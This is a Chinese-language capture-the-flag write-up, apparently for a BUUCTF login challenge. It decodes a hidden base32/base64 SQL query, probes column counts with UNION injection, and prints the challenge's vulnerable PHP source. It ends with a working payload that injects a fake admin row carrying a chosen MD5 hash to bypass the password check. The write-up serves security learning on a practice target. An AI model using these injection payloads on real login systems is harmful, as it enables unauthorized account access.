進入題目一個登錄框
對登錄框做了一些常規的sql注入和fuzz發現都無果。然后在等級登錄后跳轉的search.php頁面查看源代碼發現一段編碼。

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
發現其是一段base32編碼,解碼后發現又是一段base64編碼。

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
然后base64解碼
select * from user where username = '$name'
所以知道了sql語句為select * from user where username = '$name',然后用聯合查詢進行測試字段數。

兩個字段發現報錯

三個字段不報錯,證明sql查詢一共又三個字段。

根據提示可以知道是pass密碼錯誤,所以是又admin這個賬號的,那我們接下來測試用戶這個字段到底在哪一個字段當中。
測試1' union select 'admin',2,3#發現user錯誤

測試1' union select 1,'admin',3#,發現是pass密碼錯誤,所以知道第2個字段為user字段

然后這里卡了好久,不知到search.php到底是怎么寫的,然后直接看了下search.php的源代碼,做題的時候源代碼應該是看不到的,這里是buuctf為標明題目出處放在這的。
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除轉義
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
然后發現password有被MD5進行加密,他喵的,這題目出的,一點提示也沒有。
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
知道了MD5加密了password后,那就是將查詢出來的passwd和輸入的密碼的md5值比較,相等則登錄得到flag不相等則wrong pass。
就是我們的sql語句執行時,password字段中的內容要==md5(我們密碼欄輸入的password)。接下里就是要繞過密碼的md5驗證,需要把我們輸入的值和數據庫里面存放的用戶密碼的md5值進行比較,那要怎么繞過呢?可以用聯合查詢語句用來生成虛擬的表數據。
學到了聯合注入有個技巧。在聯合查詢並不存在的數據時,聯合查詢就會構造一個 虛擬的數據。 舉個例子:
最初users表中只有一行數據,
我們通過union select查詢就可以構造一行虛擬的數據,
如上圖,我們在users表中利用聯合查詢創建了一行虛擬的數據。
我們的思路就來了,我們可以利用聯合查詢來創建一行admin賬戶的續集數據,混淆admin用戶的密碼,將我們自定義的admin用戶的密碼(123)加進去,這樣我們不就可以登錄admin用戶了嗎。
在用戶名登錄框輸入1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#其中202cb962ac59075b964b07152d234b70為123的MD5值,然后在密碼登錄框中輸入123即可登錄。
